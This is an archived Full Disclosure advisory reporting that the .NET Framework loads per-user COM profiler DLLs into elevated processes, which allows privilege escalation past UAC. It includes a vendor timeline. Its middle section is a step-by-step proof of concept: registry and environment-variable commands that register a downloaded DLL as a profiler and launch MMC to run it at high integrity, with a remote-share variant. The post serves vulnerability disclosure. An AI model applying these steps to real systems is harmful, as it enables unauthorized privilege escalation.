Full Disclosure mailing list archives

Defense in depth -- the Microsoft way (part 48): privilege escalation for dummies -- they didn't make SUCH a stupid blunder?


From: "Stefan Kanthak" <stefan.kanthak () nexgo de>
Date: Wed, 5 Jul 2017 22:11:46 +0200

Hi @ll,

all versions of .NET Framework support to load a COM object as
code profiler, enabled via two or three environment variables.

From <https://msdn.microsoft.com/en-us/library/bb384393.aspx>

| A profiler DLL is an unmanaged DLL that runs as part of the
| common language runtime execution engine. As a result, the code
| in the profiler DLL is not subject to the restrictions of managed
| code access security. The only limitations on the profiler DLL are
| those imposed by the operating system on the user who is running
| the profiled application.

From <https://msdn.microsoft.com/en-us/library/bb384689.aspx>:

| When both environment variable checks pass, the CLR creates an
| instance of the profiler in a similar manner to the COM
| CoCreateInstance function. The profiler is not loaded through a
| direct call to CoCreateInstance. Therefore, a call to CoInitialize,
| which requires setting the threading model, is avoided.

From <https://msdn.microsoft.com/en-us/library/bb756926.aspx>:

| Beginning with Windows Vista® and Windows Server® 2008, if the
| integrity level of a process is higher than Medium, the COM
| runtime ignores per-user COM configuration and accesses only
| per-machine COM configuration. This action reduces the surface
| area for elevation of privilege attacks, preventing a process
| with standard user privileges from configuring a COM object with
| arbitrary code and having this code called from an elevated process.


Let's see how "similar" .NET Framework's manners are:

0. logon to the user account created during Windows setup;

1. fetch
   <https://skanthak.homepage.t-online.de/download/SENTINEL.CAB>
   and store it in an arbitrary directory, for example
   "%USERPROFILE%\Downloads";

2. start an UNPRIVILEGED command prompt in this directory and run
   the following command lines to

2.a) unpack I386\SENTINEL.DLL, AMD64\SENTINEL.DLL and IA64\SENTINEL.DLL
     from SENTINEL.CAB to the current directory:

     EXPAND.EXE /R SENTINEL.CAB /F:*.DLL "%CD%"

2.b) set the environment variables:

     SET COR_ENABLE_PROFILING=1
     SET COR_PROFILER={32E2F4DA-1BEA-47EA-88F9-C5DAF691C94A}

     JFTR: the CLSID doesn't matter, use any CLSID you like!

2.c) register SENTINEL.DLL as per-user COM object:

     SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\%COR_PROFILER%\InProcServer32
     IF %PROCESSOR_ARCHITECTURE% == x86 (
     REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\I386\SENTINEL.DLL" /F
     REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F ) ELSE (
     REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\%PROCESSOR_ARCHITECTURE%\SENTINEL.DLL" /F
     REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

     SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\%COR_PROFILER%\InProcServer32
     REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\I386\SENTINEL.DLL" /F
     REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F )
     SET KEY=

     JFTR: registration is only necessary for targets using .NET
           Framework before version 4; from version 4 onward, the
           following command can be used instead

     SET COR_PROFILER_PATH=%CD%\%PROCESSOR_ARCHITECTURE%\SENTINEL.DLL

2.d) start PowerShell or any other .NET application:

     POWERSHELL.EXE

Notice the message boxes displayed from SENTINEL.DLL: PWNED!

2.e) start the Microsoft Management Console:

     START MMC.EXE SECPOL.MSC
     START MMC.EXE EVENTVWR.MSC

Notice the message boxes displayed from SENTINEL.DLL running with
integrity level HIGH: PWNED!

JFTR: to achieve remote code execution with elevation of privilege
      instead of local code execution with elevation of privilege
      place the "profiler" DLL on an arbitrary network share and
      use its UNC path instead of the local path.


Now compare this behavior to the "Manifestation" stated on
<https://msdn.microsoft.com/en-us/library/bb756926.aspx>:

| Applications that are run-elevated (whether manifested as Require
| Administrator or user-selected by right-clicking and selecting
| Run as Administrator), as well as applications run from an account
| that is a member of the Administrators group where User Account
| Control (UAC) is disabled, will not be able to access any COM objects
| configured per-user.


Also don't forget (unlike the .NET developers) to read
<https://blogs.msdn.microsoft.com/vistacompatteam/2006/10/17/per-user-com-on-vista-for-elevated-token-processes/>
<https://blogs.msdn.microsoft.com/cjacks/2007/02/21/per-user-com-registrations-and-elevated-processes-with-uac-on-windows-vista/>
<https://blogs.msdn.microsoft.com/cjacks/2008/06/06/per-user-com-registrations-and-elevated-processes-with-uac-on-windows-vista-sp1/

<https://blogs.msdn.microsoft.com/cjacks/2008/07/22/per-user-com-registrations-and-elevated-processes-with-uac-on-windows-vista-sp1-
part-2-ole-automation/>


Mitigations:
~~~~~~~~~~~~

* dump .NET Framework and all applications that use it!

* dump UAC!

* use STRICT privilege separation!


stay tuned
Stefan Kanthak


Timeline:
~~~~~~~~~

2017-06-23    vulnerability report sent to vendor

2017-06-23    reply from vendor:
              "MSRC case 39303 opened"

2017-07-05    reply from vendor:
              "UAC is not a security boundary. As such, this does not
               meet the bar for an explicit down level fix."

2017-07-05    report published


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/


Current thread: